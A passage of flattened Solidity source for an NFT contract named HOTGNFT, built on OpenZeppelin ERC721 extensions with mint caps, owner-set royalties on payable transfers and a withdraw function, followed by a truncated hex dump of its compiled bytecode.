Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts@4.4.2/token/ERC721/extensions/ERC721Burnable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol) pragma solidity ^0.8.0; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // File: @openzeppelin/contracts@4.4.2/token/ERC721/extensions/ERC721URIStorage.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: @openzeppelin/contracts@4.4.2/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: BagNFT.sol pragma solidity 0.8.2; contract HOTGNFT is ERC721, ERC721Enumerable, ERC721URIStorage, Pausable, Ownable, ERC721Burnable { using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; uint256 private NFTPrice; uint256 private NFTMaxSupply; uint256 private maxCapPerMint = 2; //per address mint mapping(address => uint256) internal mintBlanceOf; uint256 private maxCapPerWallet = 8; //per address holding address internal royaltyPayee; uint256 internal royaltyFee = 995; bool private startSale = true; bool private isRoyalty = true; string internal baseuri = "https://handbagofthegods.mypinata.cloud/ipfs/QmRtkzzTsaroPaioFgs352BnerqRFZYg4veGxE8Ayuoooq/"; constructor() ERC721("HOTG", "HOTG") { NFTPrice = 0.3 ether; NFTMaxSupply = 10000; royaltyPayee = msg.sender; } fallback() external payable { } receive() external payable { } function _baseURI() internal view override returns(string memory) { return baseuri; } function setBaseURI(string memory _baseuri) external onlyOwner { baseuri = _baseuri; } function setRoyaltyPayeeAndFees(address _royaltyPayee, uint256 _royaltyFee) public onlyOwner() { royaltyPayee = _royaltyPayee; royaltyFee = _royaltyFee; } function setIsRoyaltyOn() external onlyOwner { isRoyalty = !isRoyalty; } function setNFTPrice(uint256 NFTPrice_) external onlyOwner { NFTPrice = NFTPrice_ ; } function getNFTPrice() external view returns(uint256) { return NFTPrice; } function updatemaxCapPerWallet(uint256 maxCap_) external onlyOwner { maxCapPerWallet = maxCap_; } function updateMaxMintPerCap(uint256 maxCap_) external onlyOwner { maxCapPerMint = maxCap_; } //start Sale function setStartSale() external onlyOwner { startSale = !startSale; } function _maxSupply() external view returns(uint256) { return NFTMaxSupply; } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } //wraping all buy or mint function in one function: function mint(uint256 _countNfts) public payable whenNotPaused { uint NFTsPrice = NFTPrice * _countNfts; address to = msg.sender; require(totalSupply() + _countNfts <= NFTMaxSupply, "NFT: Max Supply"); require(_countNfts > 0, "NFT: No of NFTs must be greater then zero"); if (msg.sender != owner()){ require(balanceOf(to) + _countNfts <= maxCapPerWallet, "Max limit holding per wallet"); } if (msg.sender != owner()) { require(startSale == true, "NFT sale timings"); require(msg.value == NFTsPrice, "Please enter correct price"); require(_countNfts <= maxCapPerMint, "Max limit is 2 NFT in pre sale"); require(mintBlanceOf[to] + _countNfts <= maxCapPerMint, "Max limit minting per wallet"); } for (uint i = 0; i < _countNfts; i++ ) { _tokenIdCounter.increment(); uint256 tokenId = _tokenIdCounter.current(); mintBlanceOf[to] += 1; _safeMint(to, tokenId); _setTokenURI(tokenId, ""); } } function _payRoyalty(uint256 _royaltyFee) internal { (bool success1, ) = payable(royaltyPayee).call{ value: _royaltyFee } (""); require(success1); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } // The following functions are overrides required by Solidity. function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns(string memory) { return super.tokenURI(tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns(bool) { return super.supportsInterface(interfaceId); } function lastTokenID() external view returns(uint256) { return _tokenIdCounter.current(); } function contractBalance() external onlyOwner view returns(uint256) { return address(this).balance; } function withdraw() external onlyOwner whenNotPaused returns(uint256){ uint balance = address(this).balance; require(balance > 0, "NFT: No ether left to withdraw"); (bool success, ) = payable(owner()).call{ value: balance } (""); require(success, "NFT: Transfer failed."); return balance; } function transferFrom( address from, address to, uint256 tokenId ) public payable override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); if (msg.sender != owner() || to != owner()){ require((balanceOf(to) + 1) <= maxCapPerWallet, "Max limit holding per wallet"); } //Pay royality to payee if (msg.value > 0 && isRoyalty){ uint256 royalty = (msg.value * royaltyFee) / 10000; _payRoyalty(royalty); (bool success2, ) = payable(from).call{ value: msg.value - royalty } (""); require(success2); } _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public payable override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); if (msg.sender != owner() || to != owner()){ require((balanceOf(to) + 1) <= maxCapPerWallet, "Max limit holding per wallet"); } //Pay royality to payee if (msg.value > 0 && isRoyalty){ uint256 royalty = (msg.value * royaltyFee) / 10000; _payRoyalty(royalty); (bool success2, ) = payable(from).call{ value: msg.value - royalty } (""); require(success2); } _safeTransfer(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public payable override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); if (msg.sender != owner() || to != owner()){ require((balanceOf(to) + 1) <= maxCapPerWallet, "Max limit holding per wallet"); } //Pay royality to payee if (msg.value > 0 && isRoyalty){ uint256 royalty = (msg.value * royaltyFee) / 10000; _payRoyalty(royalty); (bool success2, ) = payable(from).call{ value: msg.value - royalty } (""); require(success2); } _safeTransfer(from, to, tokenId, _data); } }
0x6080604052600436106102135760003560e01c8063715018a611610118578063a22cb465116100a0578063d7f9b0f51161006f578063d7f9b0f514610723578063da3346901461074c578063e985e9c514610775578063f2fde38b146107b2578063fb107a4f146107db5761021a565b8063a22cb4651461068a578063b3951a45146106b3578063b88d4fde146106ca578063c87b56dd146106e65761021a565b806388bd098c116100e757806388bd098c146105c45780638b7afe2e146105ed5780638da5cb5b1461061857806395d89b4114610643578063a0712d681461066e5761021a565b8063715018a614610556578063777708f11461056d57806381530b68146105845780638456cb59146105ad5761021a565b80633ccfd60b1161019b5780634f6ccce71161016a5780634f6ccce71461044b57806355f804b3146104885780635c975abb146104b15780636352211e146104dc57806370a08231146105195761021a565b80633ccfd60b146103c45780633f4ba83a146103ef57806342842e0e1461040657806342966c68146104225761021a565b806318160ddd116101e257806318160ddd146102ea57806322f4596f1461031557806323b872dd146103405780632f745c591461035c5780633521bd7e146103995761021a565b806301ffc9a71461021c57806306fdde0314610259578063081812fc14610284578063095ea7b3146102c15761021a565b3661021a57005b005b34801561022857600080fd5b50610243600480360381019061023e9190613fd9565b610806565b60405161025091906146b9565b60405180910390f35b34801561026557600080fd5b5061026e610818565b60405161027b91906146d4565b60405180910390f35b34801561029057600080fd5b506102ab60048036038101906102a6919061406c565b6108aa565b6040516102b89190614652565b60405180910390f35b3480156102cd57600080fd5b506102e860048036038101906102e39190613f9d565b61092f565b005b3480156102f657600080fd5b506102ff610a47565b60405161030c9190614af6565b60405180910390f35b34801561032157600080fd5b5061032a610a54565b6040516103379190614af6565b60405180910390f35b61035a60048036038101906103559190613e97565b610a5e565b005b34801561036857600080fd5b50610383600480360381019061037e9190613f9d565b610c5f565b6040516103909190614af6565b60405180910390f35b3480156103a557600080fd5b506103ae610d04565b6040516103bb9190614af6565b60405180910390f35b3480156103d057600080fd5b506103d9610d15565b6040516103e69190614af6565b60405180910390f35b3480156103fb57600080fd5b50610404610ede565b005b610420600480360381019061041b9190613e97565b610f64565b005b34801561042e57600080fd5b506104496004803603810190610444919061406c565b611175565b005b34801561045757600080fd5b50610472600480360381019061046d919061406c565b6111d1565b60405161047f9190614af6565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa919061402b565b611268565b005b3480156104bd57600080fd5b506104c66112fe565b6040516104d391906146b9565b60405180910390f35b3480156104e857600080fd5b5061050360048036038101906104fe919061406c565b611315565b6040516105109190614652565b60405180910390f35b34801561052557600080fd5b50610540600480360381019061053b9190613e32565b6113c7565b60405161054d9190614af6565b60405180910390f35b34801561056257600080fd5b5061056b61147f565b005b34801561057957600080fd5b50610582611507565b005b34801561059057600080fd5b506105ab60048036038101906105a6919061406c565b6115af565b005b3480156105b957600080fd5b506105c2611635565b005b3480156105d057600080fd5b506105eb60048036038101906105e6919061406c565b6116bb565b005b3480156105f957600080fd5b50610602611741565b60405161060f9190614af6565b60405180910390f35b34801561062457600080fd5b5061062d6117c5565b60405161063a9190614652565b60405180910390f35b34801561064f57600080fd5b506106586117ef565b60405161066591906146d4565b60405180910390f35b6106886004803603810190610683919061406c565b611881565b005b34801561069657600080fd5b506106b160048036038101906106ac9190613f61565b611c6b565b005b3480156106bf57600080fd5b506106c8611c81565b005b6106e460048036038101906106df9190613ee6565b611d29565b005b3480156106f257600080fd5b5061070d6004803603810190610708919061406c565b611f2c565b60405161071a91906146d4565b60405180910390f35b34801561072f57600080fd5b5061074a6004803603810190610745919061406c565b611f3e565b005b34801561075857600080fd5b50610773600480360381019061076e9190613f9d565b611fc4565b005b34801561078157600080fd5b5061079c60048036038101906107979190613e5b565b61208c565b6040516107a991906146b9565b60405180910390f35b3480156107be57600080fd5b506107d960048036038101906107d49190613e32565b612120565b005b3480156107e757600080fd5b506107f0612218565b6040516107fd9190614af6565b60405180910390f35b600061081182612222565b9050919050565b60606000805461082790614db1565b80601f016020809104026020016040519081016040528092919081815260200182805461085390614db1565b80156108a05780601f10610875576101008083540402835291602001916108a0565b820191906000526020600020905b81548152906001019060200180831161088357829003601f168201915b5050505050905090565b60006108b58261229c565b6108f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108eb90614976565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061093a82611315565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a290614a16565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166109ca612308565b73ffffffffffffffffffffffffffffffffffffffff1614806109f957506109f8816109f3612308565b61208c565b5b610a38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2f906148b6565b60405180910390fd5b610a428383612310565b505050565b6000600880549050905090565b6000600e54905090565b610a6f610a69612308565b826123c9565b610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa590614a36565b60405180910390fd5b610ab66117c5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580610b235750610af36117c5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610b82576011546001610b36846113c7565b610b409190614be6565b1115610b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7890614736565b60405180910390fd5b5b600034118015610b9e5750601460019054906101000a900460ff165b15610c4f57600061271060135434610bb69190614c6d565b610bc09190614c3c565b9050610bcb816124a7565b60008473ffffffffffffffffffffffffffffffffffffffff168234610bf09190614cc7565b604051610bfc9061463d565b60006040518083038185875af1925050503d8060008114610c39576040519150601f19603f3d011682016040523d82523d6000602084013e610c3e565b606091505b5050905080610c4c57600080fd5b50505b610c5a838383612543565b505050565b6000610c6a836113c7565b8210610cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca290614756565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b6000610d10600c61279f565b905090565b6000610d1f612308565b73ffffffffffffffffffffffffffffffffffffffff16610d3d6117c5565b73ffffffffffffffffffffffffffffffffffffffff1614610d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8a90614996565b60405180910390fd5b610d9b6112fe565b15610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd290614896565b60405180910390fd5b600047905060008111610e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1a906147b6565b60405180910390fd5b6000610e2d6117c5565b73ffffffffffffffffffffffffffffffffffffffff1682604051610e509061463d565b60006040518083038185875af1925050503d8060008114610e8d576040519150601f19603f3d011682016040523d82523d6000602084013e610e92565b606091505b5050905080610ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecd906147f6565b60405180910390fd5b819250505090565b610ee6612308565b73ffffffffffffffffffffffffffffffffffffffff16610f046117c5565b73ffffffffffffffffffffffffffffffffffffffff1614610f5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5190614996565b60405180910390fd5b610f626127ad565b565b610f75610f6f612308565b826123c9565b610fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fab90614a36565b60405180910390fd5b610fbc6117c5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415806110295750610ff96117c5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561108857601154600161103c846113c7565b6110469190614be6565b1115611087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107e90614736565b60405180910390fd5b5b6000341180156110a45750601460019054906101000a900460ff165b15611155576000612710601354346110bc9190614c6d565b6110c69190614c3c565b90506110d1816124a7565b60008473ffffffffffffffffffffffffffffffffffffffff1682346110f69190614cc7565b6040516111029061463d565b60006040518083038185875af1925050503d806000811461113f576040519150601f19603f3d011682016040523d82523d6000602084013e611144565b606091505b505090508061115257600080fd5b50505b6111708383836040518060200160405280600081525061284f565b505050565b611186611180612308565b826123c9565b6111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc90614ab6565b60405180910390fd5b6111ce816128ab565b50565b60006111db610a47565b821061121c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121390614a56565b60405180910390fd5b60088281548110611256577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b611270612308565b73ffffffffffffffffffffffffffffffffffffffff1661128e6117c5565b73ffffffffffffffffffffffffffffffffffffffff16146112e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112db90614996565b60405180910390fd5b80601590805190602001906112fa929190613c16565b5050565b6000600b60009054906101000a900460ff16905090565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b5906148f6565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611438576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142f906148d6565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611487612308565b73ffffffffffffffffffffffffffffffffffffffff166114a56117c5565b73ffffffffffffffffffffffffffffffffffffffff16146114fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f290614996565b60405180910390fd5b61150560006128b7565b565b61150f612308565b73ffffffffffffffffffffffffffffffffffffffff1661152d6117c5565b73ffffffffffffffffffffffffffffffffffffffff1614611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90614996565b60405180910390fd5b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b6115b7612308565b73ffffffffffffffffffffffffffffffffffffffff166115d56117c5565b73ffffffffffffffffffffffffffffffffffffffff161461162b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162290614996565b60405180910390fd5b80600d8190555050565b61163d612308565b73ffffffffffffffffffffffffffffffffffffffff1661165b6117c5565b73ffffffffffffffffffffffffffffffffffffffff16146116b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a890614996565b60405180910390fd5b6116b961297d565b565b6116c3612308565b73ffffffffffffffffffffffffffffffffffffffff166116e16117c5565b73ffffffffffffffffffffffffffffffffffffffff1614611737576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172e90614996565b60405180910390fd5b80600f8190555050565b600061174b612308565b73ffffffffffffffffffffffffffffffffffffffff166117696117c5565b73ffffffffffffffffffffffffffffffffffffffff16146117bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b690614996565b60405180910390fd5b47905090565b6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546117fe90614db1565b80601f016020809104026020016040519081016040528092919081815260200182805461182a90614db1565b80156118775780601f1061184c57610100808354040283529160200191611877565b820191906000526020600020905b81548152906001019060200180831161185a57829003601f168201915b5050505050905090565b6118896112fe565b156118c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c090614896565b60405180910390fd5b600081600d546118d99190614c6d565b90506000339050600e54836118ec610a47565b6118f69190614be6565b1115611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90614876565b60405180910390fd5b6000831161197a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197190614a96565b60405180910390fd5b6119826117c5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a0d57601154836119c1836113c7565b6119cb9190614be6565b1115611a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0390614736565b60405180910390fd5b5b611a156117c5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bb45760011515601460009054906101000a900460ff16151514611a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a94906146f6565b60405180910390fd5b813414611adf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad6906149f6565b60405180910390fd5b600f54831115611b24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1b90614ad6565b60405180910390fd5b600f5483601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b729190614be6565b1115611bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baa90614a76565b60405180910390fd5b5b60005b83811015611c6557611bc9600c612a20565b6000611bd5600c61279f565b90506001601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c279190614be6565b92505081905550611c388382612a36565b611c518160405180602001604052806000815250612a54565b508080611c5d90614e14565b915050611bb7565b50505050565b611c7d611c76612308565b8383612ac8565b5050565b611c89612308565b73ffffffffffffffffffffffffffffffffffffffff16611ca76117c5565b73ffffffffffffffffffffffffffffffffffffffff1614611cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf490614996565b60405180910390fd5b601460019054906101000a900460ff1615601460016101000a81548160ff021916908315150217905550565b611d3a611d34612308565b836123c9565b611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7090614a36565b60405180910390fd5b611d816117c5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580611dee5750611dbe6117c5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e4d576011546001611e01856113c7565b611e0b9190614be6565b1115611e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4390614736565b60405180910390fd5b5b600034118015611e695750601460019054906101000a900460ff165b15611f1a57600061271060135434611e819190614c6d565b611e8b9190614c3c565b9050611e96816124a7565b60008573ffffffffffffffffffffffffffffffffffffffff168234611ebb9190614cc7565b604051611ec79061463d565b60006040518083038185875af1925050503d8060008114611f04576040519150601f19603f3d011682016040523d82523d6000602084013e611f09565b606091505b5050905080611f1757600080fd5b50505b611f268484848461284f565b50505050565b6060611f3782612c35565b9050919050565b611f46612308565b73ffffffffffffffffffffffffffffffffffffffff16611f646117c5565b73ffffffffffffffffffffffffffffffffffffffff1614611fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb190614996565b60405180910390fd5b8060118190555050565b611fcc612308565b73ffffffffffffffffffffffffffffffffffffffff16611fea6117c5565b73ffffffffffffffffffffffffffffffffffffffff1614612040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203790614996565b60405180910390fd5b81601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806013819055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b612128612308565b73ffffffffffffffffffffffffffffffffffffffff166121466117c5565b73ffffffffffffffffffffffffffffffffffffffff161461219c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219390614996565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561220c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220390614796565b60405180910390fd5b612215816128b7565b50565b6000600d54905090565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bfffffff